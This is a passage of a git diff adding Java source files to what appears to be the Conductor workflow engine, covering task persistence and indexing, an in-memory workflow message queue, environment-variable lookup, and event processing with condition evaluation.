+ } + return null; + } + + private TaskModel getTaskFromDatastore(String taskId) { + return executionDAO.getTask(taskId); + } + + public List getTasksByName(String taskName, String startKey, int count) { + return executionDAO.getTasks(taskName, startKey, count).stream() + .map(TaskModel::toTask) + .collect(Collectors.toList()); + } + + public List getPendingTasksForTaskType(String taskType) { + return executionDAO.getPendingTasksForTaskType(taskType).stream() + .map(TaskModel::toTask) + .collect(Collectors.toList()); + } + + public long getInProgressTaskCount(String taskDefName) { + return executionDAO.getInProgressTaskCount(taskDefName); + } + + /** + * Sets the update time for the task. Sets the end time for the task (if task is in terminal + * state and end time is not set). Updates the task in the {@link ExecutionDAO} first, then + * stores it in the {@link IndexDAO}. + * + * @param taskModel the task to be updated in the data store + * @throws TransientException if the {@link IndexDAO} or {@link ExecutionDAO} operations fail. + * @throws com.netflix.conductor.core.exception.NonTransientException if the externalization of + * payload fails. + */ + public void updateTask(TaskModel taskModel) { + if (taskModel.getStatus() != null) { + if (!taskModel.getStatus().isTerminal() + || (taskModel.getStatus().isTerminal() && taskModel.getUpdateTime() == 0)) { + taskModel.setUpdateTime(System.currentTimeMillis()); + } + if (taskModel.getStatus().isTerminal() && taskModel.getEndTime() == 0) { + taskModel.setEndTime(System.currentTimeMillis()); + } + } + externalizeTaskData(taskModel); + executionDAO.updateTask(taskModel); + try { + /* + * Indexing a task for every update adds a lot of volume. That is ok but if async indexing + * is enabled and tasks are stored in memory until a block has completed, we would lose a lot + * of tasks on a system failure. So only index for each update if async indexing is not enabled. + * If it *is* enabled, tasks will be indexed only when a workflow is in terminal state. + */ + if (!properties.isAsyncIndexingEnabled() && properties.isTaskIndexingEnabled()) { + indexDAO.indexTask(new TaskSummary(taskModel.toTask())); + } + } catch (TerminateWorkflowException e) { + // re-throw it so we can terminate the workflow + throw e; + } catch (Exception e) { + String errorMsg = + String.format( + "Error updating task: %s in workflow: %s", + taskModel.getTaskId(), taskModel.getWorkflowInstanceId()); + LOGGER.error(errorMsg, e); + throw new TransientException(errorMsg, e); + } + } + + public void updateTasks(List tasks) { + tasks.forEach(this::updateTask); + } + + public void removeTask(String taskId) { + executionDAO.removeTask(taskId); + } + + private void removeTaskIndex(WorkflowModel workflow, TaskModel task, boolean archiveTask) + throws JsonProcessingException { + if (!properties.isTaskIndexingEnabled()) { + return; + } + if (archiveTask) { + if (task.getStatus().isTerminal()) { + // Only allow archival if task is in terminal state + // DO NOT archive async, since if archival errors out, task data will be lost + indexDAO.updateTask( + workflow.getWorkflowId(), + task.getTaskId(), + new String[] {ARCHIVED_FIELD}, + new Object[] {true}); + } else if (task.getStatus() == TaskModel.Status.SCHEDULED) { + // SCHEDULED tasks may not have been canceled yet (e.g. if cancelNonTerminalTasks + // failed for this task). Skip archival to allow the rest of the workflow removal + // to proceed rather than blocking on a task that was never started. + LOGGER.warn( + "Skipping archival of task: {} of workflow: {} with SCHEDULED status", + task.getTaskId(), + workflow.getWorkflowId()); + } else { + throw new IllegalArgumentException( + "Cannot archive task: " + + task.getTaskId() + + " of workflow: " + + workflow.getWorkflowId() + + " with non-terminal status: " + + task.getStatus()); + } + } else { + // Not archiving, remove task from index + indexDAO.asyncRemoveTask(workflow.getWorkflowId(), task.getTaskId()); + } + } + + public void extendLease(TaskModel taskModel) { + taskModel.setUpdateTime(System.currentTimeMillis()); + executionDAO.updateTask(taskModel); + } + + public List getTaskPollData(String taskName) { + return pollDataDAO.getPollData(taskName); + } + + public List getAllPollData() { + return pollDataDAO.getAllPollData(); + } + + public PollData getTaskPollDataByDomain(String taskName, String domain) { + try { + return pollDataDAO.getPollData(taskName, domain); + } catch (Exception e) { + LOGGER.error( + "Error fetching pollData for task: '{}', domain: '{}'", taskName, domain, e); + return null; + } + } + + public void updateTaskLastPoll(String taskName, String domain, String workerId) { + try { + pollDataDAO.updateLastPollData(taskName, domain, workerId); + } catch (Exception e) { + LOGGER.error( + "Error updating PollData for task: {} in domain: {} from worker: {}", + taskName, + domain, + workerId, + e); + Monitors.error(this.getClass().getCanonicalName(), "updateTaskLastPoll"); + } + } + + /** + * Save the {@link EventExecution} to the data store Saves to {@link ExecutionDAO} first, if + * this succeeds then saves to the {@link IndexDAO}. + * + * @param eventExecution the {@link EventExecution} to be saved + * @return true if save succeeds, false otherwise. + */ + public boolean addEventExecution(EventExecution eventExecution) { + boolean added = executionDAO.addEventExecution(eventExecution); + + if (added) { + indexEventExecution(eventExecution); + } + + return added; + } + + public void updateEventExecution(EventExecution eventExecution) { + executionDAO.updateEventExecution(eventExecution); + indexEventExecution(eventExecution); + } + + private void indexEventExecution(EventExecution eventExecution) { + if (properties.isEventExecutionIndexingEnabled()) { + if (properties.isAsyncIndexingEnabled()) { + indexDAO.asyncAddEventExecution(eventExecution); + } else { + indexDAO.addEventExecution(eventExecution); + } + } + } + + public void removeEventExecution(EventExecution eventExecution) { + executionDAO.removeEventExecution(eventExecution); + } + + public boolean exceedsInProgressLimit(TaskModel task) { + return concurrentExecutionLimitDAO.exceedsLimit(task); + } + + public boolean exceedsRateLimitPerFrequency(TaskModel task, TaskDef taskDef) { + return rateLimitingDao.exceedsRateLimitPerFrequency(task, taskDef); + } + + public void addTaskExecLog(List logs) { + if (properties.isTaskExecLogIndexingEnabled() && !logs.isEmpty()) { + Monitors.recordTaskExecLogSize(logs.size()); + int taskExecLogSizeLimit = properties.getTaskExecLogSizeLimit(); + if (logs.size() > taskExecLogSizeLimit) { + LOGGER.warn( + "Task Execution log size: {} for taskId: {} exceeds the limit: {}", + logs.size(), + logs.get(0).getTaskId(), + taskExecLogSizeLimit); + logs = logs.stream().limit(taskExecLogSizeLimit).collect(Collectors.toList()); + } + if (properties.isAsyncIndexingEnabled()) { + indexDAO.asyncAddTaskExecutionLogs(logs); + } else { + indexDAO.addTaskExecutionLogs(logs); + } + } + } + + public void addMessage(String queue, Message message) { + if (properties.isAsyncIndexingEnabled()) { + indexDAO.asyncAddMessage(queue, message); + } else { + indexDAO.addMessage(queue, message); + } + } + + public SearchResult searchWorkflows( + String query, String freeText, int start, int count, List sort) { + return indexDAO.searchWorkflows(query, freeText, start, count, sort); + } + + public SearchResult searchWorkflowSummary( + String query, String freeText, int start, int count, List sort) { + return indexDAO.searchWorkflowSummary(query, freeText, start, count, sort); + } + + public SearchResult searchTasks( + String query, String freeText, int start, int count, List sort) { + return indexDAO.searchTasks(query, freeText, start, count, sort); + } + + public SearchResult searchTaskSummary( + String query, String freeText, int start, int count, List sort) { + return indexDAO.searchTaskSummary(query, freeText, start, count, sort); + } + + public List getTaskExecutionLogs(String taskId) { + return properties.isTaskExecLogIndexingEnabled() + ? indexDAO.getTaskExecutionLogs(taskId) + : Collections.emptyList(); + } + + /** + * Populates the workflow input data and the tasks input/output data if stored in external + * payload storage. + * + * @param workflowModel the workflowModel for which the payload data needs to be populated from + * external storage (if applicable) + */ + public void populateWorkflowAndTaskPayloadData(WorkflowModel workflowModel) { + if (StringUtils.isNotBlank(workflowModel.getExternalInputPayloadStoragePath())) { + Map workflowInputParams = + externalPayloadStorageUtils.downloadPayload( + workflowModel.getExternalInputPayloadStoragePath()); + Monitors.recordExternalPayloadStorageUsage( + workflowModel.getWorkflowName(), + ExternalPayloadStorage.Operation.READ.toString(), + ExternalPayloadStorage.PayloadType.WORKFLOW_INPUT.toString()); + workflowModel.internalizeInput(workflowInputParams); + } + + if (StringUtils.isNotBlank(workflowModel.getExternalOutputPayloadStoragePath())) { + Map workflowOutputParams = + externalPayloadStorageUtils.downloadPayload( + workflowModel.getExternalOutputPayloadStoragePath()); + Monitors.recordExternalPayloadStorageUsage( + workflowModel.getWorkflowName(), + ExternalPayloadStorage.Operation.READ.toString(), + ExternalPayloadStorage.PayloadType.WORKFLOW_OUTPUT.toString()); + workflowModel.internalizeOutput(workflowOutputParams); + } + + workflowModel.getTasks().forEach(this::populateTaskData); + } + + public void populateTaskData(TaskModel taskModel) { + if (StringUtils.isNotBlank(taskModel.getExternalOutputPayloadStoragePath())) { + Map outputData = + externalPayloadStorageUtils.downloadPayload( + taskModel.getExternalOutputPayloadStoragePath()); + taskModel.internalizeOutput(outputData); + Monitors.recordExternalPayloadStorageUsage( + taskModel.getTaskDefName(), + ExternalPayloadStorage.Operation.READ.toString(), + ExternalPayloadStorage.PayloadType.TASK_OUTPUT.toString()); + } + + if (StringUtils.isNotBlank(taskModel.getExternalInputPayloadStoragePath())) { + Map inputData = + externalPayloadStorageUtils.downloadPayload( + taskModel.getExternalInputPayloadStoragePath()); + taskModel.internalizeInput(inputData); + Monitors.recordExternalPayloadStorageUsage( + taskModel.getTaskDefName(), + ExternalPayloadStorage.Operation.READ.toString(), + ExternalPayloadStorage.PayloadType.TASK_INPUT.toString()); + } + } + + class DelayWorkflowUpdate implements Runnable { + + private final String workflowId; + + DelayWorkflowUpdate(String workflowId) { + this.workflowId = workflowId; + } + + @Override + public void run() { + try { + WorkflowModel workflowModel = executionDAO.getWorkflow(workflowId, false); + indexDAO.asyncIndexWorkflow(new WorkflowSummary(workflowModel.toWorkflow())); + } catch (Exception e) { + LOGGER.error("Unable to update workflow: {}", workflowId, e); + } + } + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/dao/InMemoryWorkflowMessageQueueDAO.java b/core/src/main/java/com/netflix/conductor/core/dao/InMemoryWorkflowMessageQueueDAO.java new file mode 100644 index 0000000..67d9c8e --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/dao/InMemoryWorkflowMessageQueueDAO.java @@ -0,0 +1,80 @@ +/* + * Copyright 2024 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.dao; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Queue; + +import com.netflix.conductor.common.model.WorkflowMessage; +import com.netflix.conductor.core.config.WorkflowMessageQueueProperties; +import com.netflix.conductor.dao.WorkflowMessageQueueDAO; + +/** + * In-memory implementation of {@link WorkflowMessageQueueDAO} backed by a {@link HashMap} of + * bounded {@link LinkedList} queues, with all access serialized via {@code synchronized}. + * + *

Used as the default DAO when no Redis-backed implementation is available (e.g. when {@code + * conductor.db.type} is not a Redis variant). Not durable across server restarts. + */ +public class InMemoryWorkflowMessageQueueDAO implements WorkflowMessageQueueDAO { + + private final Map> queues = new HashMap<>(); + + private final int maxQueueSize; + + public InMemoryWorkflowMessageQueueDAO(WorkflowMessageQueueProperties properties) { + this.maxQueueSize = properties.getMaxQueueSize(); + } + + @Override + public synchronized void push(String workflowId, WorkflowMessage message) { + Queue queue = queues.computeIfAbsent(workflowId, k -> new LinkedList<>()); + if (queue.size() >= maxQueueSize) { + throw new IllegalStateException( + "Workflow message queue for workflowId=" + + workflowId + + " has reached the maximum size of " + + maxQueueSize); + } + queue.add(message); + } + + @Override + public synchronized List pop(String workflowId, int maxCount) { + Queue queue = queues.get(workflowId); + if (queue == null || queue.isEmpty()) { + return Collections.emptyList(); + } + List result = new ArrayList<>(maxCount); + for (int i = 0; i < maxCount && !queue.isEmpty(); i++) { + result.add(queue.poll()); + } + return result; + } + + @Override + public synchronized long size(String workflowId) { + Queue queue = queues.get(workflowId); + return queue == null ? 0 : queue.size(); + } + + @Override + public synchronized void delete(String workflowId) { + queues.remove(workflowId); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/env/EnvVarLookup.java b/core/src/main/java/com/netflix/conductor/core/env/EnvVarLookup.java new file mode 100644 index 0000000..feda531 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/env/EnvVarLookup.java @@ -0,0 +1,57 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.env; + +import java.util.LinkedHashMap; +import java.util.Map; + +public final class EnvVarLookup { + + private EnvVarLookup() {} + + /** Reads {@code prefix + key} from the environment, falling back to system properties. */ + public static String lookup(String prefix, String key) { + String full = prefix + key; + String value = System.getenv(full); + if (value == null) { + value = System.getProperty(full); + } + return value; + } + + /** + * Returns all env vars / system properties whose key starts with {@code prefix}, prefix + * stripped. System properties are added first and env vars second, so when the same key exists + * in both, the env var wins — matching the env-first precedence of {@link #lookup(String, + * String)}, so single-key and list reads agree. + */ + public static Map allWithPrefix(String prefix) { + Map out = new LinkedHashMap<>(); + System.getProperties() + .forEach( + (k, v) -> { + String ks = String.valueOf(k); + if (ks.startsWith(prefix)) { + out.put(ks.substring(prefix.length()), String.valueOf(v)); + } + }); + System.getenv() + .forEach( + (k, v) -> { + if (k.startsWith(prefix)) { + out.put(k.substring(prefix.length()), v); + } + }); + return out; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAO.java b/core/src/main/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAO.java new file mode 100644 index 0000000..f58efe9 --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAO.java @@ -0,0 +1,63 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.env; + +import java.util.ArrayList; +import java.util.List; +import java.util.Map; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.EnvironmentVariable; +import com.netflix.conductor.dao.EnvironmentDAO; + +@Component +@ConditionalOnProperty( + name = "conductor.environment.type", + havingValue = "env", + matchIfMissing = true) +public class EnvVariableEnvironmentDAO implements EnvironmentDAO { + + private final String prefix; + + public EnvVariableEnvironmentDAO( + @Value("${conductor.environment.env.prefix:CONDUCTOR_ENV_}") String prefix) { + this.prefix = prefix; + } + + @Override + public String getEnvVariable(String key) { + return EnvVarLookup.lookup(prefix, key); + } + + @Override + public void setEnvVariable(String key, String value) { + throw new UnsupportedOperationException("env-backed environment variables are read-only"); + } + + @Override + public void delete(String key) { + throw new UnsupportedOperationException("env-backed environment variables are read-only"); + } + + @Override + public List getAll() { + List result = new ArrayList<>(); + for (Map.Entry e : EnvVarLookup.allWithPrefix(prefix).entrySet()) { + result.add(EnvironmentVariable.of(e.getKey(), e.getValue())); + } + return result; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/env/NoopEnvironmentDAO.java b/core/src/main/java/com/netflix/conductor/core/env/NoopEnvironmentDAO.java new file mode 100644 index 0000000..499a4ae --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/env/NoopEnvironmentDAO.java @@ -0,0 +1,47 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.env; + +import java.util.Collections; +import java.util.List; + +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.EnvironmentVariable; +import com.netflix.conductor.dao.EnvironmentDAO; + +@Component +@ConditionalOnProperty(name = "conductor.environment.type", havingValue = "noop") +public class NoopEnvironmentDAO implements EnvironmentDAO { + + @Override + public String getEnvVariable(String key) { + return null; + } + + @Override + public void setEnvVariable(String key, String value) { + throw new UnsupportedOperationException("environment variables are disabled"); + } + + @Override + public void delete(String key) { + throw new UnsupportedOperationException("environment variables are disabled"); + } + + @Override + public List getAll() { + return Collections.emptyList(); + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/ActionProcessor.java b/core/src/main/java/com/netflix/conductor/core/events/ActionProcessor.java new file mode 100644 index 0000000..83e60fb --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/ActionProcessor.java @@ -0,0 +1,23 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.Map; + +import com.netflix.conductor.common.metadata.events.EventHandler; + +public interface ActionProcessor { + + Map execute( + EventHandler.Action action, Object payloadObject, String event, String messageId); +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/DefaultEventProcessor.java b/core/src/main/java/com/netflix/conductor/core/events/DefaultEventProcessor.java new file mode 100644 index 0000000..dbdbf6b --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/DefaultEventProcessor.java @@ -0,0 +1,330 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Map; +import java.util.concurrent.CompletableFuture; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.concurrent.BasicThreadFactory; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.beans.factory.annotation.Qualifier; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.retry.support.RetryTemplate; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; + +import com.netflix.conductor.common.metadata.events.EventExecution; +import com.netflix.conductor.common.metadata.events.EventExecution.Status; +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.common.metadata.events.EventHandler.Action; +import com.netflix.conductor.core.config.ConductorProperties; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.core.exception.TransientException; +import com.netflix.conductor.core.execution.evaluators.Evaluator; +import com.netflix.conductor.core.utils.JsonUtils; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.service.ExecutionService; +import com.netflix.conductor.service.MetadataService; + +import com.fasterxml.jackson.databind.ObjectMapper; +import com.spotify.futures.CompletableFutures; + +import static com.netflix.conductor.core.utils.Utils.isTransientException; + +/** + * Event Processor is used to dispatch actions configured in the event handlers, based on incoming + * events to the event queues. + * + *

Set conductor.default-event-processor.enabled=false to disable event processing. + */ +@Component +@ConditionalOnProperty( + name = "conductor.default-event-processor.enabled", + havingValue = "true", + matchIfMissing = true) +public class DefaultEventProcessor { + + private static final Logger LOGGER = LoggerFactory.getLogger(DefaultEventProcessor.class); + + private final MetadataService metadataService; + private final ExecutionService executionService; + private final ActionProcessor actionProcessor; + + private final ExecutorService eventActionExecutorService; + private final ObjectMapper objectMapper; + private final JsonUtils jsonUtils; + private final boolean isEventMessageIndexingEnabled; + private final Map evaluators; + private final RetryTemplate retryTemplate; + + public DefaultEventProcessor( + ExecutionService executionService, + MetadataService metadataService, + ActionProcessor actionProcessor, + JsonUtils jsonUtils, + ConductorProperties properties, + ObjectMapper objectMapper, + Map evaluators, + @Qualifier("onTransientErrorRetryTemplate") RetryTemplate retryTemplate) { + this.executionService = executionService; + this.metadataService = metadataService; + this.actionProcessor = actionProcessor; + this.objectMapper = objectMapper; + this.jsonUtils = jsonUtils; + this.evaluators = evaluators; + this.retryTemplate = retryTemplate; + + if (properties.getEventProcessorThreadCount() <= 0) { + throw new IllegalStateException( + "Cannot set event processor thread count to <=0. To disable event " + + "processing, set conductor.default-event-processor.enabled=false."); + } + ThreadFactory threadFactory = + new BasicThreadFactory.Builder() + .namingPattern("event-action-executor-thread-%d") + .build(); + eventActionExecutorService = + Executors.newFixedThreadPool( + properties.getEventProcessorThreadCount(), threadFactory); + + this.isEventMessageIndexingEnabled = properties.isEventMessageIndexingEnabled(); + LOGGER.info("Event Processing is ENABLED"); + } + + public void handle(ObservableQueue queue, Message msg) { + List transientFailures = null; + boolean executionFailed = false; + try { + if (isEventMessageIndexingEnabled) { + executionService.addMessage(queue.getName(), msg); + } + String event = queue.getType() + ":" + queue.getName(); + LOGGER.debug("Evaluating message: {} for event: {}", msg.getId(), event); + transientFailures = executeEvent(event, msg); + } catch (Exception e) { + executionFailed = true; + LOGGER.error("Error handling message: {} on queue:{}", msg, queue.getName(), e); + Monitors.recordEventQueueMessagesError(queue.getType(), queue.getName()); + } finally { + if (!executionFailed && CollectionUtils.isEmpty(transientFailures)) { + queue.ack(Collections.singletonList(msg)); + LOGGER.debug("Message: {} acked on queue: {}", msg.getId(), queue.getName()); + } else if (queue.rePublishIfNoAck() || !CollectionUtils.isEmpty(transientFailures)) { + // re-submit this message to the queue, to be retried later + // This is needed for queues with no unack timeout, since messages are removed + // from the queue + queue.publish(Collections.singletonList(msg)); + LOGGER.debug("Message: {} published to queue: {}", msg.getId(), queue.getName()); + } else { + queue.nack(Collections.singletonList(msg)); + LOGGER.debug("Message: {} nacked on queue: {}", msg.getId(), queue.getName()); + } + Monitors.recordEventQueueMessagesHandled(queue.getType(), queue.getName()); + } + } + + /** + * Executes all the actions configured on all the event handlers triggered by the {@link + * Message} on the queue If any of the actions on an event handler fails due to a transient + * failure, the execution is not persisted such that it can be retried + * + * @return a list of {@link EventExecution} that failed due to transient failures. + */ + protected List executeEvent(String event, Message msg) throws Exception { + List eventHandlerList; + List transientFailures = new ArrayList<>(); + + try { + eventHandlerList = metadataService.getEventHandlersForEvent(event, true); + } catch (TransientException transientException) { + transientFailures.add(new EventExecution(event, msg.getId())); + return transientFailures; + } + + Object payloadObject = getPayloadObject(msg.getPayload()); + for (EventHandler eventHandler : eventHandlerList) { + String condition = eventHandler.getCondition(); + String evaluatorType = eventHandler.getEvaluatorType(); + // Set default to true so that if condition is not specified, it falls through + // to process the event. + boolean success = true; + if (StringUtils.isNotEmpty(condition) && evaluators.get(evaluatorType) != null) { + Object result = + evaluators + .get(evaluatorType) + .evaluate(condition, jsonUtils.expand(payloadObject)); + success = ScriptEvaluator.toBoolean(result); + } else if (StringUtils.isNotEmpty(condition)) { + LOGGER.debug("Checking condition: {} for event: {}", condition, event); + success = ScriptEvaluator.evalBool(condition, jsonUtils.expand(payloadObject)); + } + + if (!success) { + String id = msg.getId() + "_" + 0; + EventExecution eventExecution = new EventExecution(id, msg.getId()); + eventExecution.setCreated(System.currentTimeMillis()); + eventExecution.setEvent(eventHandler.getEvent()); + eventExecution.setName(eventHandler.getName()); + eventExecution.setStatus(Status.SKIPPED); + eventExecution.getOutput().put("msg", msg.getPayload()); + eventExecution.getOutput().put("condition", condition); + executionService.addEventExecution(eventExecution); + LOGGER.debug( + "Condition: {} not successful for event: {} with payload: {}", + condition, + eventHandler.getEvent(), + msg.getPayload()); + continue; + } + + CompletableFuture> future = + executeActionsForEventHandler(eventHandler, msg); + future.whenComplete( + (result, error) -> + result.forEach( + eventExecution -> { + if (error != null + || eventExecution.getStatus() + == Status.IN_PROGRESS) { + transientFailures.add(eventExecution); + } else { + executionService.updateEventExecution( + eventExecution); + } + })) + .get(); + } + return processTransientFailures(transientFailures); + } + + /** + * Remove the event executions which failed temporarily. + * + * @param eventExecutions The event executions which failed with a transient error. + * @return The event executions which failed with a transient error. + */ + protected List processTransientFailures(List eventExecutions) { + eventExecutions.forEach(executionService::removeEventExecution); + return eventExecutions; + } + + /** + * @param eventHandler the {@link EventHandler} for which the actions are to be executed + * @param msg the {@link Message} that triggered the event + * @return a {@link CompletableFuture} holding a list of {@link EventExecution}s for the {@link + * Action}s executed in the event handler + */ + protected CompletableFuture> executeActionsForEventHandler( + EventHandler eventHandler, Message msg) { + List> futuresList = new ArrayList<>(); + int i = 0; + for (Action action : eventHandler.getActions()) { + String id = msg.getId() + "_" + i++; + EventExecution eventExecution = new EventExecution(id, msg.getId()); + eventExecution.setCreated(System.currentTimeMillis()); + eventExecution.setEvent(eventHandler.getEvent()); + eventExecution.setName(eventHandler.getName()); + eventExecution.setAction(action.getAction()); + eventExecution.setStatus(Status.IN_PROGRESS); + if (executionService.addEventExecution(eventExecution)) { + futuresList.add( + CompletableFuture.supplyAsync( + () -> + execute( + eventExecution, + action, + getPayloadObject(msg.getPayload())), + eventActionExecutorService)); + } else { + LOGGER.warn("Duplicate delivery/execution of message: {}", msg.getId()); + } + } + return CompletableFutures.allAsList(futuresList); + } + + /** + * @param eventExecution the instance of {@link EventExecution} + * @param action the {@link Action} to be executed for the event + * @param payload the {@link Message#getPayload()} + * @return the event execution updated with execution output, if the execution is + * completed/failed with non-transient error the input event execution, if the execution + * failed due to transient error + */ + protected EventExecution execute(EventExecution eventExecution, Action action, Object payload) { + try { + LOGGER.debug( + "Executing action: {} for event: {} with messageId: {} with payload: {}", + action.getAction(), + eventExecution.getId(), + eventExecution.getMessageId(), + payload); + + // TODO: Switch to @Retryable annotation on SimpleActionProcessor.execute() + Map output = + retryTemplate.execute( + context -> + actionProcessor.execute( + action, + payload, + eventExecution.getEvent(), + eventExecution.getMessageId())); + if (output != null) { + eventExecution.getOutput().putAll(output); + } + eventExecution.setStatus(Status.COMPLETED); + Monitors.recordEventExecutionSuccess( + eventExecution.getEvent(), + eventExecution.getName(), + eventExecution.getAction().name()); + } catch (RuntimeException e) { + LOGGER.error( + "Error executing action: {} for event: {} with messageId: {}", + action.getAction(), + eventExecution.getEvent(), + eventExecution.getMessageId(), + e); + if (!isTransientException(e)) { + // not a transient error, fail the event execution + eventExecution.setStatus(Status.FAILED); + eventExecution.getOutput().put("exception", e.getMessage()); + Monitors.recordEventExecutionError( + eventExecution.getEvent(), + eventExecution.getName(), + eventExecution.getAction().name(), + e.getClass().getSimpleName()); + } + } + return eventExecution; + } + + private Object getPayloadObject(String payload) { + Object payloadObject = null; + if (payload != null) { + try { + payloadObject = objectMapper.readValue(payload, Object.class); + } catch (Exception e) { + payloadObject = payload; + } + } + return payloadObject; + } +} diff --git a/core/src/main/java/com/netflix/conductor/core/events/DefaultEventQueueManager.java b/core/src/main/java/com/netflix/conductor/core/events/DefaultEventQueueManager.java new file mode 100644 index 0000000..016d8ed --- /dev/null +++ b/core/src/main/java/com/netflix/conductor/core/events/DefaultEventQueueManager.java @@ -0,0 +1,187 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.core.events; + +import java.util.*; +import java.util.concurrent.ConcurrentHashMap; +import java.util.stream.Collectors; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.context.Lifecycle; +import org.springframework.scheduling.annotation.Scheduled; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.events.EventHandler; +import com.netflix.conductor.core.LifecycleAwareComponent; +import com.netflix.conductor.core.events.queue.DefaultEventQueueProcessor; +import com.netflix.conductor.core.events.queue.Message; +import com.netflix.conductor.core.events.queue.ObservableQueue; +import com.netflix.conductor.dao.EventHandlerDAO; +import com.netflix.conductor.metrics.Monitors; +import com.netflix.conductor.model.TaskModel.Status; + +/** + * Manages the event queues registered in the system and sets up listeners for these. + * + *

Manages the lifecycle of - + * + *

    + *
  • Queues registered with event handlers + *
  • Default event queues that Conductor listens on + *
